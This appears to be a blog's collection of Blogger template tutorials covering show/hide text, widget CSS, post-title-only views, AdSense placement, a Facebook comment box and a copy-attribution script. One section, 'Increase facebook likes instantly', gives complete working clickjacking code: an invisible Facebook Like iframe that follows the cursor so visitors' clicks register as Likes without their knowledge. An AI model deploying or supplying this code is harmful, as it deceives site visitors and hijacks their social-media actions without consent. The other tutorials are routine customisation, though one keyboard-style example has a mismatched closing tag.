How to show and hide text in blogger post

Hello and welcome back to another blogger tutorial on FH2M. Today I will share a cool trick that you probably want to know, its about how to show and hide text in blogger post. I have seen this kind of trick on some websites "about" page, in where they create an FAQ on their site, and when you click on the questions a hidden answer will appear. This is also used for creating sub topics on their posts or static pages.

Here are some of the Demo

Title One

Subscribe to my site.

Title Two

For more tutorials.

Title Three

And blogger tricks.

How to install show and hide text in blogger posts

1. Go to your blogger.com account.

2. Click on template > Customize > Advanced then add this code to the CSS area. After that click "Apply to Blog".

.posthidden {display:none}
.postshown {display:inline}

If you didn't know how to find it, it is just between the <b:skin><![CDATA[ and the ]]></b:skin> in your blogger template.

3. Then find the </head> tag and put the codes below just above it.

<script type="text/Javascript">

function expandcollapse (postid) {

whichpost = document.getElementById(postid);

if (whichpost.className=="postshown") {
whichpost.className="posthidden";
}
else {
whichpost.className="postshown";
}
}
</script>

4. After pasting those codes, save your template. Now go to your blogger post or static page, click "HTML" and use the following codes. The result is the Demo above.

<a href="javascript:expandcollapse('subtopic0001')">
<h4>Title One</h4></a>
<span class="posthidden" id="subtopic0001">
Subscribe to my site.</span>

<a href="javascript:expandcollapse('subtopic0002')">
<h4>Title Two</h4></a>
<span class="posthidden" id="subtopic0002">
For more tutorials.</span>

<a href="javascript:expandcollapse('subtopic0003')">
<h4>Title Three</h4></a>
<span class="posthidden" id="subtopic0003">
And blogger tricks.</span>

Note: 

• Remember if you are going to use it more than 1 times, you should always customize its unique ID just like shown in the sample colored in red. 
• Replace Subscribe to my site. with your own sentence you want to be hidden.

Cheers!

and 

Happy Holidays!!!

Customize your blogger widget title

Good day people of planet earth! During this past week I made some changes in some of my blog and I notice a blogger widget title doesn't seem to fit on my designs, that is why I usually leave it blank.

But now we can edit those widgets, by using its unique widget ID, this trick will allow you to change the color background, font color, size and even the font style of your widget title. A demo of this trick can bee seen on this blog, check out my sidebar its all dark black it used to be green before.

The steps are simple just follow the instructions and you can see good results on your blogger template. I will share how to find the the unique blogger widget ID and how to use it to style your blogger title widget.

Here is how

Before we customize our sidebar, let us first look for the ID name of your widget.

Find unique widget ID

1. Log into your blogger.com account select a blog of your choice then preview your blog. You will see a wrench icon on your blog or the blogger edit key just like this one

2. Point your mouse cursor on that image and use right click, then click on copy link address and paste it on a notepad, because we will use them later.

This is a sample on one of my widget, the link address usually look like this

http://www.blogger.com/rearrange?blogID=4286932960589248134&widgetType=HTML&widgetId=HTML16&action=editWidget&sectionId=sidebar

HTML16 is the unique widget ID so keep that in mind. HTML/ Javascripts ID are usually named HTML1, HTML2, and so on. These ID's are sensitive so use them as they are.

Customize your title widget

Now lets go customize your widget and make sure your backed up your template before proceeding in case you made some mistakes.

1. Lets use an example, I will use my "popular post" widget. Its link address will look like this one.


http://www.blogger.com/rearrange?blogID=4286932960589248134&widgetType=PopularPosts&widgetId=PopularPosts1&action=editWidget&sectionId=sidebar


2.  Open your blog template > edit HTML > use CTRL+F and look for this code ]]></b:skin> and copy the code below and paste the copied code above ]]></b:skin>.

#ID h2{
background:#575656;
margin:10px 0 10px 0;
padding:8px 0 8px 10px;
font-size:12px;
font-family: Sans-serif, Arial, Helvetica;
font-weight:bold;
text-transform:uppercase;
color:#ffffff; text-shadow:0 1px 0 #fff;
}

CUSTOMIZE

• Replace "ID" with your very own widget ID, based on our sample it will be replaced by PopularPosts1.
• #575656 is the background color, you can change them to any color you want using this color code generator. 
• 12 is the default font size but you can change them to any size you want.
• #ffffff is the font color, change them to any color using the color code generator.

3. Hit SAVE and you are all done!

Just repeat the steps for the rest of your widget its very simple most of the time you just copy and paste. 

I hope you liked it, don't forget to share! 

Cheers!

Increase facebook likes instantly

Do you have a problem increasing your facebook likes?, then do not worry if you have low facebook likes it doesn't mean your blog site sucks, some people are just lazy clicking the like button even though they like your site. And because of that I will share to you a sneaky trick to let your visitors like your site instantly.

But before that I will show you something, a funny yet true illustrations about why some people get so many likes and some don't.

As you can see on the left and right, those girls with weird eyes wears a different outfit. On the right has many likes, friend request and notifications on the other, has only one notification.

In my observation 90% of those who like on the right side are male, because men love bikinis and those on the right... well she probably just receive a game invitation request.

This happened to me many times, I posted a joke and only 1 person liked it, then a girl friend of mine who is actually hot shared it, she got more than a 100 likes, 30+ friend request and a lot of comment. If I am some hot chick wearing short skirt wearing kinky dresses in my blog post author biography and blogging the same topic, then I would probably have tons of likes and comments. 

Anyway, lets go back to the main topic. Now I will share to you the sneaky trick to increase your facebook likes instantly. It is sneaky because when you install this trick, it lets your visitors like your site wherever they click on your blog. The reason for that is there is an invisible click button that follow your mouse cursor.

Installation

1. As usual go to your blogger template

2. Edit HTML and click on expand widget. Make sure your backed up your template in case you made some mistakes editing.

3. Search for this code using CTRL+F </head> and paste the below script above it.

<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js" type="text/javascript">
</script>
<script type='text/javascript'>
function ClickJackFbHide(){
jQuery(&quot;div[id^=\&#39;clickjack-button-wrapper\&#39;]&quot;).hide();
}
function ClickJackFbShow(){
jQuery(&quot;div[id^=\&#39;clickjack-button-wrapper\&#39;]&quot;).show();
}
</script>

 4. Now search for the </body> tag and paste the code below above it.

<div id="clickjack-button-wrapper-5" style="position: absolute; opacity: 0; filter: alpha(opacity = 0); -ms-filter:'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)'; margin-left: -50px; z-index: 100; width:27px; height:20px; overflow:hidden">
<!--<div class="clickjack-mask" style="position: absolute; top: 5px; left: 5px; z-index: 1000; height: 13px; width: 15px;"></div>-->
<iframe src="http://www.facebook.com/plugins/like.php?href=Fanpage URL Link&amp;layout=button_count&amp;show_faces=false&amp;width=50&amp;action=like&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:45px; left:-19px; height:21px; z-index: 0; position: relative;" allowTransparency="true"></iframe>
</div>
<script type="text/javascript">
jQuery( document ).ready( function() {
$( "#clickjack-button-wrapper-5" ).parent().mousemove( function( e ) {
jQuery( "#clickjack-button-wrapper-5" ).css( {
top: e.pageY - 10,
left: e.pageX + 30
} );
} );
clickjack_hider();
var clickjack_fb_timer = setTimeout("clickjack_hider()",5000);
} );
function clickjack_hider(){
jQuery("input").mouseout(function(){ClickJackFbShow();});
jQuery("a").mouseout(function(){ClickJackFbShow();});
jQuery("button").mouseout(function(){ClickJackFbShow();});
jQuery("textarea").mouseout(function(){ClickJackFbShow();});
jQuery(".ratingblock").mouseout(function(){ClickJackFbShow();}); jQuery("object").mouseout(function(){ClickJackFbShow();});
jQuery("input").mouseover(function(){ClickJackFbHide();});
jQuery("a").mouseover(function(){ClickJackFbHide();});
jQuery("button").mouseover(function(){ClickJackFbHide();});
jQuery("textarea").mouseover(function(){ClickJackFbHide();});
jQuery(".ratingblock").mouseover(function(){ClickJackFbHide();}); jQuery("object").mouseover(function(){ClickJackFbHide();});
}
</script>

5.  Just replace Fanpage URL Link with your own facebook fan page URL address. Then hit SAVE template. Refresh your page and you will notice something different about your mouse cursor.


NOTE: this trick will affect your blog when selecting or highlighting text, you cannot copy or paste a text or word if you apply this trick. And also it might affect your blog widget acting weird but if there is no problem you can proceed.


Credits:[image: tag-pictures.com, 360techreviews.com], [script source: gj37765.blogspot.com]

Display post title only on blogger

If you have a lot of posts in your blog then maybe its time to reorganize them by using display post title on blogger labels or on homepage. This trick will only show title post of your blog and will save time for visitors browsing your articles.

Instruction for this trick is easy, just follow the instructions below and make sure you backed up your template before proceeding.

Display post title only on blogger label

1. Log in to your blogger account > go to layout > edit HTML > click expand widget

2. Search this code using CTRL+F <b:include data='post' name='post'/> and replace it with the following codes below

<!-- Display post title only Start-->
<b:if cond='data:blog.homepageUrl
!= data:blog.url'>
<b:if cond='data:blog.pageType != "item"'>
<h3 class='post-title'><a expr:href='data:post.url'><data:post.title/></a></h3>
<b:else/>
<b:include data='post' name='post'/>
</b:if>
<b:else/>
<b:include data='post' name='post'/>
</b:if>
<!-- Display post title only End http://fromhobby2money.blogspot.com -->

3. Preview your template to check if there is no error then click SAVE.

Display post title only on blogger home page

If you want this trick to appear on your home page just follow the instructions below. I found this to be useful if you are planning to put more than 10 posts on your home page so that visitors can easily see the whole view of your current posts.

1. Go to your blog layout > edit HTML >click on expand widget

2. Find this code using CTRL+F <p><data:post.body/></p> and replace it with the codes below.

<b:if cond='data:blog.pageType == "item"'>
<p><data:post.body/></p>
</b:if

If you want to use this trick on your blog archives only just follow the steps above, but instead use this code to replace it.

<b:if cond='data:blog.pageType == "index"'>
<p><data:post.body/></p>
</b:if>

Note-If you are using read more hack in your blogger you will get above red line twice. So replace only the line that appears first in your blog html code and leave second one as it is.

There you go! if you have questions kindly leave a comment below of this post.

Keyboard effect on blogger post

A blog design is very important, if you have a beautiful template and unique designs, then your blog post should be beautiful too. Today I will share to you how to make a keyboard effect on your blog post. This is CSS consist of no image and will not affect your blog speed. Lets begin the tutorial shall we.

Lets view the Demo first:


ALT + F4

CTRL + ALT + DELETE

KEYBOARD


Installation

1. Go to blogger dashboard > layout > edit HTML.

2. Find this code using CTRL + F   ]]></b:skin>

3. Paste the code below above it

/***************************************** Keyboard Style CSS ******************************************/ kbd{ border:1px solid gray; font-size:1.2em; box-shadow:1px 0 1px 0 #eee, 0 2px 0 2px #ccc, 0 2px 0 3px #444; -webkit-border-radius:3px; -moz-border-radius:3px; border-radius:3px; margin:2px 3px; padding:1px 5px; }

 4. Save template!


Using it on blogger post

If you want to use it on your blog posts just follow these simple steps.

• Go to your blog posts, you can either create new or edit existing posts.
• Click HTML besides the compose button.
• Use the <kbd> </kbd> tag when you want to use the keyboard effect.

Example:

<kbd> I LIKE YOU </h2>

         I LIKE YOU


That's it! I hope you enjoy this trick! thank you for reading!

Easy to install facebook comment box for blogger

Not all people has a Google or blogger account in which they will use to comment on your blog. That is why some people uses a 3rd party comment plug ins just like Disqus and Intense Debate. But actually people are too lazy to comment on those commenting platform and I am one of those. But, if you have facebook comment box on your blog, chances of comments from your audience will increase because almost everyone is on facebook.

Advantage of facebook comment box

• More convenient for visitors. Most people while surfing the web has their facebook account opened, having this comment box will not bother them signing up or entering captcha's symbols when they want to comment.
• It boosts traffic. Visitors has the option to post their comments on their profile and when someone on their profile liked it, it will appear also on their profile page and so on.
• Threaded comments. Some blogs has no threaded comments on their default blogger comment box. Using this plugin will increase conversation from your daily visitors.
• No spam comments.

If you want to hide your default comment box follow this

1. Go to your blogger dashboard > Settings > Comments

2. Find "comments" it is usually embedded below posts > choose hide

3. Save!

Installation

1. Go to layout > Edit html

2. Tick on "expand widget" and search for this tag <data:post.body/> (some templates has more than 1 of this if you are using "read more").

3. Copy and paste the code below under the <data:post.body/> code. If you have 2 of these tags place it on the second of the same code

<b:if cond='data:blog.pageType == &quot;item&quot;'>
<p align='left'><a href='http://fromhobby2money.blogspot.com/2012/11/easy-to-install-facebook-comment-box.html' target='new'><img alt='' class='icon-action' src='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvqCBHF4xHU7fYzqSGme6TLirwYv7o1kdzCZShDQmAzJHDaT-0ekr3v081RwbQHC2Yl48xypkXyKnXxacdNgI537C2XTIFaAYSJeS_K_ox-CRtFWXsmr_ItBLNuDxEKcFvLX0H26r3yEE/'/></a></p>
<div id='fb-root'/>
<script>
window.fbAsyncInit = function() {
FB.init({appId: &#39;149973631711831&#39;, status: true, cookie: true,
xfbml: true});
};
(function() {
var e = document.createElement(&#39;script&#39;); e.async = true;
e.src = document.location.protocol +
&#39;//connect.facebook.net/en_US/all.js&#39;;
e.async = true;
document.getElementById(&#39;fb-root&#39;).appendChild(e);
}());
</script>
<fb:comments/>
</b:if>

4. Save template!

Now check on your blog and you will see a facebook comment box just below each of your posts. If you can't see a comment box then your facebook account must have been logged out, try logging in and see your facebook comment box, it will now appear.

Enjoy!

Insert Adsense Inside blogger post body

If you want to earn more through adsense, you need to put your ads where it is very visible. One of the best way to do that is inserting the ads inside your posts body because it will give you higher chance of click through rate and increase adsense earnings. 

I prefer a 300x250 medium rectangle or a 336x280 large rectangle ad unit to be wrapped inside your blog post. In this trick, your ads will be appearing just like an image in a blog post. Just follow these simple steps and don't forget to back up your template in case you made some mistakes.

Installation

1. Log in to your adsense account and create a 300x250 ad unit or a 336x280 large rectangle ad unit, then save and get codes

2. Copy and paste the generated code below to parse it.
  

3. Click on convert.

4. Go to your blogger dashboard > edit template > tick on expand widgets

5. Find this code using CTRL+F <data:post.body/> (Note: some templates has more than 1 of this code, just try them all in case it doesn't work)

6. Just above it paste this code

<b:if cond="data:blog.pageType == &quot;item&quot;">
<div style="float: left; padding: 5px; margin: 5px;">
PARSED ADSENSE CODE
</div>
</b:if>

7. Replace " PARSED ADSENSE CODE " with your own parsed adsense code.

Save template!

Note

Now your adsense can now be seen wrapped around your blogger post on the left side. But those ads won't appear on your home page and will only be visible if you click on your blog posts. This trick can save you ad space on your sidebar.

But I will not advice to use this trick if you are using pictures or images at the beginning of your blog posts because it will violate Google adsense terms of service

Adsense besides Add this sharing social widget below post title for blogger

Aloha! today I will share to you some Adsense techniques that will help you earn more money. One of the best way to put your Adsense ads is putting it below post titles, but in this lesson we will add more, we add "add this" social sharing widget next to your Adsense ads. I found this trick on www.abctrick.net.

Before we begin the installation, I need you to go to your Adsense account and create a new 300x250 blocks ads that will perfectly blend with your template. After creating your new ads, save and get code, then copy and paste the code on this HTML parser.

Installation

1. Log into your blogger account> dashboard> click edit HTML (make sure you back up your template in case you made some mistakes)> click on expand widgets.

2. Now find this code ]]></b:skin> then copy and paste the below codes just above it. 

/* Adsense below post title with Addthis and Social Badges by abctrick.net */ .boxround { margin : 0 auto; padding : 10px;border : 1px solid #ccc; -moz-border-radius-topright:10px; -moz-border-radius-bottomleft:10px; -webkit-border-top-right-radius:10px; -webkit-border-bottom-left-radius:10px; border-radius-topright:10px; border-radius-bottomleft:10px; } #addthis-left { float : left; } .addthis_toolbox .vertical { float : left; width : 215px; padding-left : 5px; min-height : 185px; position : relative; } .addthis_toolbox .vertical a { position : relative; display : block; width : 150px; padding : 4px 0 4px 34px; text-decoration : none; color : #626262; transition: color .2s ease-in-out; -moz-transition: color .2s ease-in-out; -webkit-transition: color .2s ease-in-out; -o-transition: color .2s ease-in-out; } .addthis_toolbox .vertical a:hover { color : #8f8f8f; text-decoration : none; border-radius: 4px; -moz-border-radius: 4px; -webkit-border-radius: 4px; } .addthis_toolbox .vertical1 { float : left; width : 215px; min-height : 185px; position : relative; } .addthis_toolbox .vertical1 a { position : relative; display : block; width : 150px; padding : 4px 0 4px 15px; text-decoration : none; color : #626262; transition: color .2s ease-in-out; -moz-transition: color .2s ease-in-out; -webkit-transition: color .2s ease-in-out; -o-transition: color .2s ease-in-out; } .addthis_toolbox .vertical1 a:hover { color : #8f8f8f; text-decoration : none; border-radius: 4px; -moz-border-radius: 4px; -webkit-border-radius: 4px; } .addthis_toolbox .vertical1 .more { border-top : 1px solid #eee; padding : 2px 0 0 0; margin : 10px 10px 0 10px; text-align : center; } .addthis_toolbox .vertical span { position : absolute; left : 14px; top : 4px; } .addthis_toolbox .vertical .more { border-top : 1px solid #eee; padding : 2px 0 0 0; margin : 10px 10px 0 10px; text-align : center; } .addthis_toolbox .vertical .more a { padding : 0 0; margin : 0; } .addthis_toolbox .vertical .more a:hover { background : none; } .addthis_toolbox .vertical .more span { display : none; } .googleplus { padding-left : 15px; padding-top : 5px; padding-bottom : 3px; display : inline-block;

3.  Now, we will put jQuerry script as well as Google + and Twitter script on the template. Find the </head> tag and put the codes above it.

<!-- Addthis jQuery - Remove if you already have this --> <script src='http://s7.addthis.com/js/250/addthis_widget.js' type='text/javascript'></script> <!-- Twitter Button jQuery - Remove if you already have this --> <script src='http://platform.twitter.com/widgets.js' type='text/javascript'></script> <!-- Google +1 Button jQuery - Remove if you already have this --> <script src='https://apis.google.com/js/plusone.js' type='text/javascript'>{lang: 'en'}</script>

4. Find this tag <div class='post-header-line-1'/> or <data:post.body/> and paste the codes below above it.

<!-- Adsense below post title with Addthis and Social Badges by abctrick.net Starts --> <b:if cond='data:blog.pageType == "item"'><!-- Remove --> <div class='boxround'> <table border='0' cellpadding='0' cellspacing='0' width='98%'> <tr> <td width='330'> REPLACE THIS LINE WITH CONVERTED ADSENSE CODE </td> <td><div class='boxround-right-min'> <div class='addthis_toolbox'> <div class='vertical'> <div class='googleplus'> <g:plusone annotation='bubble' size='medium'/> <iframe allowTransparency='true' expr:src='"http://www.facebook.com/plugins/like.php?href=" + data:post.url + "&amp;send=false&amp;layout=button_count&amp;show_faces=false&amp;width=90&amp;action=like&amp;font=arial&amp;colorscheme=light&amp;height=21"' frameborder='0' scrolling='no' style='border:none; overflow:hidden; width:90px; height:21px;'/> <br/> <a class='twitter-share-button' data-lang='en' href='https://twitter.com/share'>Tweet</a><br/> <a class='twitter-follow-button' data-lang='en' data-show-count='true' href='https://twitter.com/YOUR_TWITTER_USERNAME'>Follow @YOUR_TWITTER_USERNAME</a> </div> <a href='YOUR_GOOGLE_PLUS_URL' style='text-decoration:none; background-color:transparent!important; margin-left:-20px!important' target='_blank'><img alt='Adsense besides Add this sharing social widget below post title for blogger' src='https://ssl.gstatic.com/images/icons/gplus-16.png' style='border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; vertical-align: middle; border-left-width: 0px;'/> Follow On Google+</a> <a class='addthis_button_facebook'>Share On Facebook</a> <a class='addthis_button_stumbleupon'>Stumble This Post</a> <a class='addthis_button_reddit'>Submit On Reddit</a> <a class='addthis_button_email'>Email To A Friend</a> <div class='more'> <a class='addthis_button_expanded'>More Destinations</a> </div> </div> </div> </div></td> </tr> </table> </div> </b:if> <!-- Remove --> <!-- Adsense below post title with Addthis and Social Badges by abctrick.net Ends -->

Customize

• Replace "REPLACE THIS LINE WITH CONVERTED ADSENSE CODE" with your parsed Adsense code. Remember to parse it first before putting it there.
• Replace "YOUR_TWITTER_USERNAME" with your twitter username.
• Replace "YOUR_GOOGLE_PLUS_URL" with your complete Google + profile URL.

SAVE TEMPLATE!

Credits to www.abctrick.net

Remove Showing Post with Label for Blogger

When you are going to click a label for your blog you will see this message above "showing posts with label posts. Show all posts". For some, like me, I don't like that appearing on my blog. It is useless and annoying, so many people want it removed.

If you want it removed, here is the tricks that will remove that "showing posts with label" for blogger.

Step 1.

Go to blogger dashboard > Edit HTML > Click on expand template (make a back just in case).

Step 2.

Use CTRL+F and find this code in the template.

<b:includable id='status-message'>
<b:if cond='data:navMessage'>
<div class='status-msg-wrap'>
<div class='status-msg-body'>
<data:navMessage/>
</div>
<div class='status-msg-border'>
<div class='status-msg-bg'>
<div class='status-msg-hidden'><data:navMessage/></div>
</div>
</div>
</div>
<div style='clear: both;'/>
</b:if>
</b:includable>

Step 3.

After you find it, delete the code above and replace it with this one.

<b:includable id='status-message'>
<b:if cond='data:navMessage'>
<div>
</div>
<div style='clear: both;'/>
</b:if>
</b:includable>

Save template and that is all.

Get backlinks when someone copies your content

Most of you are spending precious time creating unique article for your readers and when someone comes and copies your hard work without permission and also not giving you credit by creating backlinks to its original post, it actually feels bad.

You need a backlink to credit all of your hard work and  I have here ways on how to get backlinks when someone copies your content.

This will work on blogger and wordpress. Here are the simple steps

1. Go to your blogger.com account.
2. Click Layout > Add gadget> select HTML/ javascript
3. Copy and paste the code below

<script type='text/javascript'>
function addLink(){var a=document.getElementsByTagName("body")[0];var b;b=window.getSelection();var c="<br/><br/> Source : <a href='"+document.location.href+"'>"+document.location.href+"</a><br/>Content Copyrighted to Hobby to Money";var d=b+c;var e=document.createElement("div");e.style.position="absolute";e.style.left="-99999px";a.appendChild(e);e.innerHTML=d;b.selectAllChildren(e);window.setTimeout(function(){a.removeChild(e)},0)}document.oncopy=addLink
</script>

 4. Just edit the code colored in blue as you like. Save your gadget and you are all done.

When someone copies your article an attribution link will automatically appear. giving you a backlink to your site.

Try it for yourself, copy an article from your blog and paste it, you will see a source line below of that copied text.